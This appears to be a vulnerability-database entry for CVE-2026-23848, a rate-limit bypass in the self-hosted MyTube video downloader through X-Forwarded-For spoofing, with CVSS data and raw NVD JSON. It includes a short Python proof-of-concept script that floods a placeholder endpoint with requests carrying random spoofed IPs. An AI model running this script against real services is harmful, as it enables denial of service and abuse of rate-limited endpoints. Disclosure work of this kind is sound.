Security Vulnerability Report
中文
CVE-2026-23848 CVSS 6.5 MEDIUM

CVE-2026-23848

Published: 2026-01-19 21:15:51
Last Modified: 2026-02-02 13:27:34

Description

MyTube is a self-hosted downloader and player for several video websites. Prior to version 1.7.71, a rate limiting bypass via `X-Forwarded-For` header spoofing allows unauthenticated attackers to bypass IP-based rate limiting on general API endpoints. Attackers can spoof client IPs by manipulating the `X-Forwarded-For` header, enabling unlimited requests to protected endpoints, including general API endpoints (enabling DoS) and other rate-limited functionality. Version 1.7.71 contains a patch for the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:franklioxygen:mytube:*:*:*:*:*:*:*:* - VULNERABLE
MyTube < 1.7.71

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import random # CVE-2026-23848 PoC - X-Forwarded-For Header Spoofing Bypass # Target: MyTube < 1.7.71 TARGET_URL = "http://target.com/api/endpoint" # Replace with actual target def generate_random_ip(): """Generate a random IP address for spoofing""" return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" def bypass_rate_limit(): """Bypass IP-based rate limiting by spoofing X-Forwarded-For header""" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Send request with spoofed X-Forwarded-For header spoofed_ip = generate_random_ip() headers["X-Forwarded-For"] = spoofed_ip try: response = requests.get(TARGET_URL, headers=headers, timeout=10) print(f"Request sent with spoofed IP: {spoofed_ip}") print(f"Status Code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Example: Multiple requests to demonstrate bypass for i in range(10): bypass_rate_limit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23848", "sourceIdentifier": "[email protected]", "published": "2026-01-19T21:15:51.433", "lastModified": "2026-02-02T13:27:34.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyTube is a self-hosted downloader and player for several video websites. Prior to version 1.7.71, a rate limiting bypass via `X-Forwarded-For` header spoofing allows unauthenticated attackers to bypass IP-based rate limiting on general API endpoints. Attackers can spoof client IPs by manipulating the `X-Forwarded-For` header, enabling unlimited requests to protected endpoints, including general API endpoints (enabling DoS) and other rate-limited functionality. Version 1.7.71 contains a patch for the issue."}, {"lang": "es", "value": "MyTube es un descargador y reproductor autoalojado para varios sitios web de vídeo. Antes de la versión 1.7.71, una omisión de limitación de velocidad mediante la suplantación del encabezado `X-Forwarded-For` permite a atacantes no autenticados omitir la limitación de velocidad basada en IP en los endpoints generales de la API. Los atacantes pueden suplantar las IP del cliente manipulando el encabezado `X-Forwarded-For`, lo que permite solicitudes ilimitadas a puntos finales protegidos, incluidos los puntos finales generales de la API (lo que permite DoS) y otras funcionalidades con limitación de velocidad. La versión 1.7.71 contiene un parche para el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:franklioxygen:mytube:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.71", "matchCriteriaId": "2F1B06A3-6E3D-40FA-87EF-05C2805BEE55"}]}]}], "references": [{"url": "https://github.com/franklioxygen/MyTube/commit/bc057458804ae7ac70ea00605680512ed3d4257b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-59gr-529g-x45h", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}